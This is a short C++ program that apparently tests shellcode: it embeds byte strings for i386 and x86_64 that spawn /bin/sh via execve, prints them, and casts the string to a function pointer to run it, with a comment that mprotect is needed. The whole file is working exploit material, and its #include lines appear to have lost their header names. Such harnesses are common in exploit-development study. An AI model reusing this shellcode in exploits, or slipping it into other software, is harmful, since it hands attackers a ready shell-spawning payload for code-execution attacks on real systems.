#include #include int main() { #if __i386__ std::string shellcode = "\x31\xc9\xf7\xe1\x50\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xb0\x0b\xcd\x80"; // 21.s #elif __x86_64__ std::string shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f" "\x73\x68\x3b\x50\x54\x5f\x31" "\xf6\xf7\xe6\x86\x47\x07\x0f\x05"; // 22c.s #else #error undefined arch!!! #endif std::cout << "shellcode[" << shellcode.size() << "] = " << shellcode << std::endl; ((void(*)())shellcode.c_str())(); // mprotect needed!!! }